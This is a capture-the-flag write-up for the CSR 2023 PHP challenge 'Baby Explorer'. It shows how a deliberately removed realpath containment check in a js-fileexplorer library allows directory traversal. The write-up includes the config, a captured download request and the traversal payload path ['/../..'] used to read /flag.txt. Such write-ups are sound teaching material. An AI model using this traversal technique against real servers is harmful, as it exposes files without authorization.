## CSR 2023: Baby Explorer

This is a writeup for a simple PHP web challenge. The goal is to print the
contents of `/flag.txt`.

![Screenshot of exploitable website](https://i.ibb.co/16p5z7y/website.png)

Frontend and Backend is based on [js-fileexplorer by
CubicleSoft](https://github.com/cubiclesoft/js-fileexplorer). We can download
the PHP libraries used by js-filexplorer and compare them to the challenge
libraries using `diff -r`:

```diff  
\--- ~/Downloads/php-libs/file_explorer_fs_helper.php  
+++ ./file_explorer_fs_helper.php  
@@ -38,7 +38,6 @@  
if ($result === false) return false;  
  
$result = str_replace("\\\", "/", $result);  
\- if (strncmp($result . "/", $basedir . "/", strlen($basedir) + 1)) return
false;  
  
if ($extrapath !== "") $result .= "/" . $extrapath;  
  
@@ -137,7 +136,8 @@  
  
public static function getpathdepth($path, $basedir)  
{  
\- return substr_count($path, "/", strlen($basedir));  
\+ return 5;  
}  
  
public static function getentryhash($type, $file, &$info)  
```

The purpose of the removed if statement was to make sure that the realpath of
the sanitized path starts with `$basedir`. Clearly, the app is begging to be
exploited with a directory traversal attack.

Let's take a look at how js-filexplorer is configured for this challenge:

```php  
$options = array(  
"base_url" => "http://baby-explorer.rumble.host/",  
"protect_depth" => 0, // Protects base directory + additional directory depth.  
"recycle_to" => "Recycle Bin",  
"temp_dir" => "/tmp",  
"dot_folders" => false, // .git, .svn, .DS_Store  
"allowed_exts" => ".jpg, .jpeg, .png, .gif, .svg, .txt",  
"allow_empty_ext" => true,  
"refresh" => true,  
"rename" => true,  
"file_info" => false,  
"load_file" => false,  
"save_file" => false,  
"new_folder" => true,  
"new_file" => ".txt",  
"upload" => true,  
"upload_limit" => 1000, // -1 for unlimited or an integer  
"download" => "user123-" . date("Y-m-d_H-i-s") . ".zip",  
"download_module" => "", // Server handler for single-file downloads: ""
(none), "sendfile" (Apache), "accel-redirect" (Nginx)  
"download_module_prefix" => "", // A string to prefix to the filename. (For
URI /protected access mapping for a Nginx X-Accel-Redirect to the system root)  
"copy" => true,  
"move" => true,  
"recycle" => true,  
"delete" => true  
);  
```

Setting `protect_depth` to 0 means minimal protection of the `/` directory.
The options array also tells us which actions are allowed, e.g. we can upload
and download files, but not view them (`load_file`).

Let's download a file and look at the HTTP request with browser dev tools:

```http  
POST / HTTP/1.1  
Host: baby-explorer.rumble.host  
Content-Type: multipart/form-data;
boundary=---------------------------9990746362586650592204378159  
Content-Length: 438  
Cookie: PHPSESSID=dc6a931b7aecfd9944e978b952495e6d

\-----------------------------9990746362586650592204378159  
Content-Disposition: form-data; name="action"

file_explorer_download  
\-----------------------------9990746362586650592204378159  
Content-Disposition: form-data; name="path"

["","babies"]  
\-----------------------------9990746362586650592204378159  
Content-Disposition: form-data; name="ids"

["Baby_Face.JPG"]  
\-----------------------------9990746362586650592204378159--  
```

The `path` array is converted into an absolute file path using this function:

```php  
public static function GetSanitizedPath($basedir, $name, $allowdotfolders =
false, $extrapath = "")  
{  
$path = self::GetRequestVar($name); // the path array  
if ($path === false) return false;

$path = @json_decode($path, true);  
if (!is_array($path)) return false;

$result = array();

foreach ($path as $id)  
{  
if (!is_string($id) || $id === "." || $id === "..") return false;

if ($id === "") continue;

if ($id[0] === "." && !$allowdotfolders) return false;

$result[] = $id;  
}

// basedir is "/tmp/<uuid>"  
$result = @realpath(rtrim($basedir, "/") . "/" . implode("/", $result));  
if ($result === false) return false;

$result = str_replace("\\\", "/", $result);

// the removed but critical security check:  
// if (strncmp($result . "/", $basedir . "/", strlen($basedir) + 1)) return
false;

if ($extrapath !== "") $result .= "/" . $extrapath;

return $result;  
}  
```

Based on the above, what do we need to set the path array to, so that
`GetSanitizedPath`  
returns a path to `/`? Note that since `allowdotfolders` is configured to be
false, no path component must start with a dot.

Here's my solution: `path = ["/../.."]; ids = ["flag.txt"]`. This will be
transformed into `/tmp/<uuid>//../../flag.txt`. The double slash is treated
like a single slash on Linux.

You can send the winning HTTP request e.g. by right clicking the previous
download request in Firefox and selecting "Edit and resend". This will show
the flag in the response tab:

CSR{Oops_there_might_have_been_a_reason_for_that_check}